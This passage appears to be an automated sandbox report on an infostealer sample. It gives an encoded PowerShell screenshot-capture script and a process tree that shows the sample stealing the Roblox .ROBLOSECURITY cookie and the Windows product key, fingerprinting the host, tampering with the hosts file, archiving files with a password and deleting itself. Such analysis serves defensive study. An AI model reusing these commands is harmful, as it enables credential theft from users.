AgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                                      4⤵
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      PID:1328
                                                                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sybmdupk\sybmdupk.cmdline"
                                                                                        5⤵
                                                                                          PID:3540
                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7B7.tmp" "c:\Users\Admin\AppData\Local\Temp\sybmdupk\CSC1A76E48C461B4A93AD9ADA91C9FD1BE.TMP"
                                                                                            6⤵
                                                                                              PID:2996
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                        3⤵
                                                                                          PID:3352
                                                                                          • C:\Windows\system32\tree.com
                                                                                            tree /A /F
                                                                                            4⤵
                                                                                              PID:2772
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                                                            3⤵
                                                                                              PID:2120
                                                                                              • C:\Windows\system32\attrib.exe
                                                                                                attrib -r C:\Windows\System32\drivers\etc\hosts
                                                                                                4⤵
                                                                                                • Drops file in Drivers directory
                                                                                                • Views/modifies file attributes
                                                                                                PID:644
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                              3⤵
                                                                                                PID:2780
                                                                                                • C:\Windows\system32\tree.com
                                                                                                  tree /A /F
                                                                                                  4⤵
                                                                                                    PID:796
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                                                                  3⤵
                                                                                                    PID:4004
                                                                                                    • C:\Windows\system32\attrib.exe
                                                                                                      attrib +r C:\Windows\System32\drivers\etc\hosts
                                                                                                      4⤵
                                                                                                      • Drops file in Drivers directory
                                                                                                      • Views/modifies file attributes
                                                                                                      PID:3452
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                    3⤵
                                                                                                      PID:3628
                                                                                                      • C:\Windows\system32\tree.com
                                                                                                        tree /A /F
                                                                                                        4⤵
                                                                                                          PID:3612
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                        3⤵
                                                                                                          PID:1756
                                                                                                          • C:\Windows\system32\tasklist.exe
                                                                                                            tasklist /FO LIST
                                                                                                            4⤵
                                                                                                            • Enumerates processes with tasklist
                                                                                                            PID:1404
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                          3⤵
                                                                                                            PID:1428
                                                                                                            • C:\Windows\system32\tree.com
                                                                                                              tree /A /F
                                                                                                              4⤵
                                                                                                                PID:2268
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                              3⤵
                                                                                                                PID:1972
                                                                                                                • C:\Windows\system32\tree.com
                                                                                                                  tree /A /F
                                                                                                                  4⤵
                                                                                                                    PID:1980
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1452"
                                                                                                                  3⤵
                                                                                                                    PID:2848
                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                      taskkill /F /PID 1452
                                                                                                                      4⤵
                                                                                                                      • Kills process with taskkill
                                                                                                                      PID:4660
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1452"
                                                                                                                    3⤵
                                                                                                                      PID:4436
                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                        taskkill /F /PID 1452
                                                                                                                        4⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        PID:2492
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                      3⤵
                                                                                                                        PID:3624
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                          4⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:4728
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                        3⤵
                                                                                                                          PID:2156
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                            4⤵
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            PID:540
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                          3⤵
                                                                                                                            PID:1092
                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                              4⤵
                                                                                                                                PID:3628
                                                                                                                              • C:\Windows\system32\getmac.exe
                                                                                                                                getmac
                                                                                                                                4⤵
                                                                                                                                  PID:1620
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI37442\rar.exe a -r -hp"dollar" "C:\Users\Admin\AppData\Local\Temp\SYBV9.zip" *"
                                                                                                                                3⤵
                                                                                                                                  PID:3748
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI37442\rar.exe
                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\_MEI37442\rar.exe a -r -hp"dollar" "C:\Users\Admin\AppData\Local\Temp\SYBV9.zip" *
                                                                                                                                    4⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:1428
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                  3⤵
                                                                                                                                    PID:4820
                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                      wmic os get Caption
                                                                                                                                      4⤵
                                                                                                                                        PID:2104
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                      3⤵
                                                                                                                                        PID:4720
                                                                                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                          wmic computersystem get totalphysicalmemory
                                                                                                                                          4⤵
                                                                                                                                            PID:2460
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                          3⤵
                                                                                                                                            PID:4712
                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                              wmic csproduct get uuid
                                                                                                                                              4⤵
                                                                                                                                                PID:2468
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                              3⤵
                                                                                                                                                PID:4900
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                  4⤵
                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                  PID:2108
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                3⤵
                                                                                                                                                  PID:5084
                                                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                    wmic path win32_VideoController get name
                                                                                                                                                    4⤵
                                                                                                                                                    • Detects videocard installed
                                                                                                                                                    PID:3216
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:948
                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                      4⤵
                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                      PID:1936
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\Desktop\Builder.bat""
                                                                                                                                                    3⤵
                                                                                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                    PID:2848
                                                                                                                                                    • C:\Windows\system32\PING.EXE
                                                                                                                                                      ping localhost -n 3
                                                                                                                                                      4⤵
                                                                                                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                      • Runs ping.exe
                                                                                                                                                      PID:1444
                                                                                                                                              • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                1⤵
                                                                                                                                                  PID:2120

                                                                                                                                                Network

                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                      Replay Monitor

                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                      Downloads

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

                                                                                                                                                        Filesize

                                                                                                                                                        40B

                                                                                                                                                        MD5

                                                                                                                                                        883205c8c72a59af010552ad311f62e7

                                                                                                                                                        SHA1

                                                                                                                                                        626dbb16469339df3aecc88ece281291d1c9462a

                                                                                                                                                        SHA256

                                                                                                                                                        56028dc10510be6f9b2bc236fe26c790d3f3a851aa8a4420cb3bb74499d84c3a

                                                                                                                                                        SHA512

                                                                                                                                                        604ae32d8e37304b0b9735c225c5d50451796eea2526cc6c44b1d36a2af841d1733606c4797fd56a01f22922ad0094bbd7616262abf109e50ce332d916c444ae

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

                                                                                                                                                        Filesize

                                                                                                                                                        649B

                                                                                                                                                        MD5

                                                                                                                                                        9c077dd62b1adc8a47371a9d021e42e1

                                                                                                                                                        SHA1

                                                                                                                                                        a156edafd63f0aa7536b9845b3541ab744c8c944

                                                                                                                                                        SHA256

                                                                                                                                                        938a39c93a7950d80b9b60cd336d5652c06e876ccff21c104971b48032ff8f1b

                                                                                                                                                        SHA512

                                                                                                                                                        0e79db372ca5261ee3b3c39e22a2999719500ddbcb9f8c357e35163ccac12a6815cc6c3d9b60610118d47476ae7c31ef56656bc4bf540728a502d551f555f922

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                                                        Filesize

                                                                                                                                                        792B

                                                                                                                                                        MD5

                                                                                                                                                        ed2b85d2bbbc212bc0a97bd85e846cde

                                                                                                                                                        SHA1

                                                                                                                                                        623a2732b40850925410b4eac314a150e71b72b8

                                                                                                                                                        SHA256

                                                                                                                                                        e4fd99b7dc1061ad674db349d5e04d027ef3da6e6280d5a0e50984537d60c4a8

                                                                                                                                                        SHA512

                                                                                                                                                        990e09c793051b81e4f0ddb7414690d34ff98a9f3e89558606cbc2d9d7455d76babaad66abb9e320c60aca180f688989a2440bb2f11f89d24aabd467723a4fcf

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_1

                                                                                                                                                        Filesize

                                                                                                                                                        264KB

                                                                                                                                                        MD5

                                                                                                                                                        f50f89a0a91564d0b8a211f8921aa7de

                                                                                                                                                        SHA1

                                                                                                                                                        112403a17dd69d5b9018b8cede023cb3b54eab7d

                                                                                                                                                        SHA256

                                                                                                                                                        b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                                                                                                                                                        SHA512

                                                                                                                                                        bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log

                                                                                                                                                        Filesize

                                                                                                                                                        905B

                                                                                                                                                        MD5

                                                                                                                                                        f0952cadc9d87ed8eb89c386953a556f

                                                                                                                                                        SHA1

                                                                                                                                                        dd421b4a6fc293f814dc1ace9045dbb598e62725

                                                                                                                                                        SHA256

                                                                                                                                                        14b6ffc89341decb63186a91bf7e9c5745dffec68ed4afc5704db185e3b9f182

                                                                                                                                                        SHA512

                                                                                                                                                        c5caa8fc4880cd8afd6d3be435612c341547ee55aef1bed38ed02a9f1be49ef9cb35262a576fde5c29033aa0a1cba7f7c31d13f2fe84e444ae5cf2e9c3b0c5a4

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                                                                                                                                                        Filesize

                                                                                                                                                        10KB

                                                                                                                                                        MD5

                                                                                                                                                        dfb114ea708e300b589562e14239b068

                                                                                                                                                        SHA1

                                                                                                                                                        5cd4a5559c152963ac1e0df370741b9c5a365f02

                                                                                                                                                        SHA256

                                                                                                                                                        45f179eef40afeb12c7c3cde2f523d089fb3f4123427bd584de0dc2c628e896b

                                                                                                                                                        SHA512

                                                                                                                                                        a739d42e49d60183bdc6e4d58238a62a60a9b29ea14d608910b99f2cbb7fd491d62968839a27e75fb8f4d6853b079ac13407b7fc8f6aa807654cdc21700bacbb

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                                                                                                                                                        Filesize

                                                                                                                                                        2B

                                                                                                                                                        MD5

                                                                                                                                                        d751713988987e9331980363e24189ce

                                                                                                                                                        SHA1

                                                                                                                                                        97d170e1550eee4afc0af065b78cda302a97674c

                                                                                                                                                        SHA256

                                                                                                                                                        4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                                                                                                                                        SHA512

                                                                                                                                                        b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                                                                                                                                                        Filesize

                                                                                                                                                        1KB

                                                                                                                                                        MD5

                                                                                                                                                        87764d1add956afd175fb3ea2ad76227

                                                                                                                                                        SHA1

                                                                                                                                                        243f84521d0686cfa04d87c2afe5a45fe370fcc2

                                                                                                                                                        SHA256

                                                                                                                                                        ce9c9fba2ee906c278db7573ceeeaea69a28d808cc86ba850208c8a40ad2da28

                                                                                                                                                        SHA512

                                                                                                                                                        6240280fc0124967009ca07351ae2d5a43207c74417fb2f3cd94469c3f4ddaa76bda650ad49c65085d21511befaa1a0e2d6912ebe3dc5b61c7216080cfd5c1d2

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                        Filesize

                                                                                                                                                        10KB

                                                                                                                                                        MD5

                                                                                                                                                        945fb02224224fd455487fdd95efea30

                                                                                                                                                        SHA1

                                                                                                                                                        9c0f32e5c382b2633375aecdb24441010aee57bf

                                                                                                                                                        SHA256

                                                                                                                                                        92808532c9c3126c03729aa86727472e2de0034714bdc0709b174a54d86330a0

                                                                                                                                                        SHA512

                                                                                                                                                        89c586fca35d8feab3fb1a5fb36ca5e3f8bf998464de1f89df759b140baaf715254e03710231f919043382e8fa1ef5addd3cc6cb4a10327ac7ba999438b605c3

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                        Filesize

                                                                                                                                                        10KB

                                                                                                                                                        MD5

                                                                                                                                                        fc46938aac736ff16b3c464d4f72f92f

                                                                                                                                                        SHA1

                                                                                                                                                        1b657dfeb9683c200623573f4dc251afd13d3184

                                                                                                                                                        SHA256

                                                                                                                                                        aef00e6a0d46bdcfafa59d2dd333df5e4b1ae234fdb6a481920696fa2c3dbc49

                                                                                                                                                        SHA512

                                                                                                                                                        ccb5b789a9b93fff59a37490673cdf7a88a1ab88e7f6feb79e90db8b850e66877a10e4825d140922c438549b72ded8a9913cc2196b373d70a3c0ea342a303511

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                                                                                                                                        Filesize

                                                                                                                                                        228KB

                                                                                                                                                        MD5

                                                                                                                                                        c41642fa1748fa1af60a481fbd410906

                                                                                                                                                        SHA1

                                                                                                                                                        dea31fd017a9f8bc3e696cf8d3b6c2ef9df935ed

                                                                                                                                                        SHA256

                                                                                                                                                        4f985d49dbb5c35aa7520f4981af22fb6817ce98ab9425069ed08afe64b75677

                                                                                                                                                        SHA512

                                                                                                                                                        6f164304edfec65ff45c7fc7a3fef12da4591c57502019401878300b05599152626c3e45916eb2c9e24eb557fe80ac55babf509dfe3cb6bc685ce78c0c9ec877

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                                                                                                                                                        Filesize

                                                                                                                                                        228KB

                                                                                                                                                        MD5

                                                                                                                                                        91220959c92b491f064bfb74adc01003

                                                                                                                                                        SHA1

                                                                                                                                                        8cb31593344a1fa4af894f241fc841ce172ee1a3

                                                                                                                                                        SHA256

                                                                                                                                                        15d4c19489229ee6a69bb767e9ccd0379d8fbfd2dbb10e18b2af32e3adb2198f

                                                                                                                                                        SHA512

                                                                                                                                                        02dbfd2da48f67e5483a8759817788eeb207a0fe375f0ec341c4574575166f1caefb244b07677db0a22ad2c5eabf3b00698af1544db3ccee9e8490f483480f1e

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                                                        Filesize

                                                                                                                                                        2KB

                                                                                                                                                        MD5

                                                                                                                                                        627073ee3ca9676911bee35548eff2b8

                                                                                                                                                        SHA1

                                                                                                                                                        4c4b68c65e2cab9864b51167d710aa29ebdcff2e

                                                                                                                                                        SHA256

                                                                                                                                                        85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

                                                                                                                                                        SHA512

                                                                                                                                                        3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                        Filesize

                                                                                                                                                        944B

                                                                                                                                                        MD5

                                                                                                                                                        2e8eb51096d6f6781456fef7df731d97

                                                                                                                                                        SHA1

                                                                                                                                                        ec2aaf851a618fb43c3d040a13a71997c25bda43

                                                                                                                                                        SHA256

                                                                                                                                                        96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

                                                                                                                                                        SHA512

                                                                                                                                                        0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                        Filesize

                                                                                                                                                        944B

                                                                                                                                                        MD5

                                                                                                                                                        80707036df540b6657f9d443b449e3c3

                                                                                                                                                        SHA1

                                                                                                                                                        b3e7d5d97274942164bf93c8c4b8a9b68713f46f

                                                                                                                                                        SHA256

                                                                                                                                                        6651e5f976619cef991deef61776cf43d4c4b3d7c551dd2192b647df71586ab0

                                                                                                                                                        SHA512

                                                                                                                                                        65e41e9e730fed4f7a7d3f6f35875a16948b897f87c8c70b371fd0ac7f0951814f6a75e7698665194bbc65a3665a684e7be229e7e24193b50483ae7e55eebf4f

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI37442\VCRUNTIME140.dll

                                                                                                                                                        Filesize

                                                                                                                                                        106KB

                                                                                                                                                        MD5

                                                                                                                                                        870fea4e961e2fbd00110d3783e529be

                                                                                                                                                        SHA1

                                                                                                                                                        a948e65c6f73d7da4ffde4e8533c098a00cc7311

                                                                                                                                                        SHA256

                                                                                                                                                        76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644

                                                                                                                                                        SHA512

                                                                                                                                                        0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI37442\_bz2.pyd

                                                                                                                                                        Filesize

                                                                                                                                                        46KB

                                                                                                                                                        MD5

                                                                                                                                                        93fe6d3a67b46370565db12a9969d776

                                                                                                                                                        SHA1

                                                                                                                                                        ff520df8c24ed8aa6567dd0141ef65c4ea00903b

                                                                                                                                                        SHA256

                                                                                                                                                        92ec61ca9ac5742e0848a6bbb9b6b4cda8e039e12ab0f17fb9342d082dde471b

                                                                                                                                                        SHA512

                                                                                                                                                        5c91b56198a8295086c61b4f4e9f16900a7ec43ca4b84e793bc8a3fc8676048cab576e936515bf2971318c7847f1314674b3336fe83b1734f9f70d09615519ac

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI37442\_ctypes.pyd

                                                                                                                                                        Filesize

                                                                                                                                                        56KB

                                                                                                                                                        MD5

                                                                                                                                                        813fc3981cae89a4f93bf7336d3dc5ef

                                                                                                                                                        SHA1

                                                                                                                                                        daff28bcd155a84e55d2603be07ca57e3934a0de

                                                                                                                                                        SHA256

                                                                                                                                                        4ac7fb7b354069e71ebf7fcc193c0f99af559010a0ad82a03b49a92deb0f4d06

                                                                                                                                                        SHA512

                                                                                                                                                        ce93f21b315d96fde96517a7e13f66aa840d4ad1c6e69e68389e235e43581ad543095582ebcb9d2c6dda11c17851b88f5b1ed1d59d354578fe27e7299bbea1cc

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI37442\_decimal.pyd

                                                                                                                                                        Filesize

                                                                                                                                                        103KB

                                                                                                                                                        MD5

                                                                                                                                                        f65d2fed5417feb5fa8c48f106e6caf7

                                                                                                                                                        SHA1

                                                                                                                                                        9260b1535bb811183c9789c23ddd684a9425ffaa

                                                                                                                                                        SHA256

                                                                                                                                                        574fe8e01054a5ba07950e41f37e9cf0aea753f20fe1a31f58e19202d1f641d8

                                                                                                                                                        SHA512

                                                                                                                                                        030502fa4895e0d82c8cce00e78831fc3b2e6d956c8cc3b9fb5e50cb23ef07cd6942949a9f16d02da6908523d9d4ef5f722fb1336d4a80cd944c9f0cb11239ab

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI37442\_hashlib.pyd

                                                                                                                                                        Filesize

                                                                                                                                                        33KB

                                                                                                                                                        MD5

                                                                                                                                                        4ae75c47dbdebaa16a596f31b27abd9e

                                                                                                                                                        SHA1

                                                                                                                                                        a11f963139c715921dedd24bc957ab6d14788c34

                                                                                                                                                        SHA256

                                                                                                                                                        2308ee238cc849b1110018b211b149d607bf447f4e4c1e61449049eab0cf513d

                                                                                                                                                        SHA512

                                                                                                                                                        e908fecb52268fac71933e2fdb96e539bdebe4675dfb50065aee26727bac53e07cca862193bcb3ab72d2ae62d660113a47e73e1e16db401480e4d3fd34d54fa8

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI37442\_lzma.pyd

                                                                                                                                                        Filesize

                                                                                                                                                        84KB

                                                                                                                                                        MD5

                                                                                                                                                        6f810f46f308f7c6ccddca45d8f50039

                                                                                                                                                        SHA1

                                                                                                                                                        6ee24ff6d1c95ba67e1275bb82b9d539a7f56cea

                                                                                                                                                        SHA256

                                                                                                                                                        39497259b87038e86c53e7a39a0b5bbbfcebe00b2f045a148041300b31f33b76

                                                                                                                                                        SHA512

                                                                                                                                                        c692367a26415016e05ebe828309d3ffec290c6d2fd8cc7419d529a51b0beda00ccdc327c9f187ae3ca0cc96336d23d84a8ff95b729c8958b14fb91b6da9e878

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI37442\_queue.pyd

                                                                                                                                                        Filesize

                                                                                                                                                        24KB

                                                                                                                                                        MD5

                                                                                                                                                        0e7612fc1a1fad5a829d4e25cfa87c4f

                                                                                                                                                        SHA1

                                                                                                                                                        3db2d6274ce3dbe3dbb00d799963df8c3046a1d6

                                                                                                                                                        SHA256

                                                                                                                                                        9f6965eb89bbf60df0c51ef0750bbd0655675110d6c42eca0274d109bd9f18a8

                                                                                                                                                        SHA512

                                                                                                                                                        52c57996385b9a573e3105efa09fd6fd24561589b032ef2b2ee60a717f4b33713c35989f2265669f980646d673e3c387b30b9fc98033bb8ca7c59ece1c17e517

                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\_MEI37442\_socket.pyd

                                                                                                                                                        Filesize

                                                                                                                                                        41KB

                                                                                                                                                        MD5

